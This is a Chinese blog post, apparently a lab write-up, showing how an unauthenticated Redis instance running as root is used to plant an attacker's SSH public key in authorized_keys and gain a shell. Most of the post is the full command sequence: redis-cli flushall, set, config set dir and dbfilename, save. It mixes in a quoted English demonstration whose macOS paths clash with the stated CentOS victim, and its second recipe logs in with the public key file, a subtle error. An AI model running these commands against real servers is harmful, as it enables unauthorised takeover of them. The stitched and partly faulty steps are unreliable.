redis配置不当可导致服务器被控制
服务器配置不当包括三个部分:
1.Redis服务使用ROOT账号启动
2.Redis服务无密码认证或者使用的是弱口令进行认证
3.服务器开放了SSH服务，而且允许使用密钥登录
简单的写下过程
测试环境
victim server CentOS6.6 192.168.1.11
attack server CentOS6.6+redis2.4 192.168.1.12
|
1
2
3
4
5
6
7
8
9
10
|
$ telnet 192.168.1.11 6379
Trying 192.168.1.11...
Connected to 192.168.1.11.
Escape character is '^]'.
echo "Hey no AUTH required!"
$21
Hey no AUTH required!
quit
+OK
Connection closed by foreign host.
|
表明了Redis是正常工作的，而且不需要进行身份认证。
先在attack server生成一个公钥
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
$ ssh-keygen -t rsa -C "crack@redis.io"
Generating public/private rsa key pair.
Enter file in which to save the key (/home/antirez/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa.
Your public key has been saved in ./id_rsa.pub.
The key fingerprint is:
f0:a1:52:e9:0d:5f:e4:d9:35:33:73:43:b4:c8:b9:27 crack@redis.io
The key's randomart image is:
+--[ RSA 2048]----+
| . O+.|
| . o o..o*o|
| = . + .+ . |
| o B o . |
| . o S E . |
| . o |
| |
| |
| |
+-----------------+
|
这样有了一个公钥，但是需要把这个公钥复制到目标机器
|
1
|
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
|
Now foo.txt is just our public key but with newlines. We can write this string inside the memory of Redis using redis-cli:
|
1
|
$ redis-cli -h 192.168.1.11 flushall
|
|
1
|
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
|
Looks good. How to dump our memory content into the authorized_keys file? That’s
kinda trivial.
|
1
2
3
4
5
6
7
8
9
10
|
$ redis-cli -h 192.168.1.11
192.168.1.11:6379> config set dir /Users/antirez/.ssh/
OK
192.168.1.11:6379> config get dir
1) "dir"
2) "/Users/antirez/.ssh"
192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
192.168.1.11:6379> save
OK
|
At this point the target authorized keys file should be full of garbage, but should also include our public key. The string does not have simple patterns so it’s unlikely that it was compressed inside the RDB file. Will ssh be so naive to parse a totally corrupted file without issues, and accept the only sane entry inside?
|
1
2
3
4
5
|
$ ssh -i id_rsa antirez@192.168.1.11
Enter passphrase for key 'id_rsa':
Last login: Mon Nov 2 15:58:43 2015 from 192.168.1.10
~ ➤ hostname
Salvatores-MacBook-Air.local
|
TeX
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
###测试环境
```
victim server CentOS6.6+redis2.4 192.168.192.133
attack server CentOS6.6 192.168.192.132
```
先在attack server生成一个公钥
```
ssh-keygen -t rsa -C "redis"
(echo -e "\n\n"; cat redis.pub; echo -e "\n\n") > redis.txt
```
然后执行
```
redis-cli -h 192.168.192.133 flushall
cat redis.txt | redis-cli -h 192.168.192.133 -x set pwn
```
登录redis并修改其配置 redis-cli -h 192.168.192.133
```
CONFIG set dir /root/.ssh/
config set dbfilename "authorized_keys"
save
exit
```
然后就可以使用ssh的公钥登录了
```
ssh -i redis.pub root@192.168.192.133
```
|
参考:
http://antirez.com/news/96
http://v2ex.com/t/234520#reply25
最新文章
- abstract和接口
- ThreadLocal小记
- 20145102 《Java程序设计》第3周学习总结
- Lua开发环境配置
- Android 单指触控拖拽，两指触控缩放
- hdu 4465 Candy 2012 成都现场赛
- mmap。
- Java泛型学习笔记--Java泛型和C#泛型比较学习（一）
- Spring in Action --- 使用MockMvc时报异常
- js判定是否为chrome，区分搜狗+360
- (95)Wangdao.com_第二十八天_进度事件
- gc的real时间比user时间长
- Docker安装MySQL并配置远程访问
- Codeforces 594D REQ 线段树
- beego 初体验 - 参数与传值
- git-ftp代码部署方式
- yield表达式形式
- JDK 之 Java Bean 内省机制
- MyBatis insert操作插入,返回主键from官方
- 在android中实现webview与javascript之间的交互(转）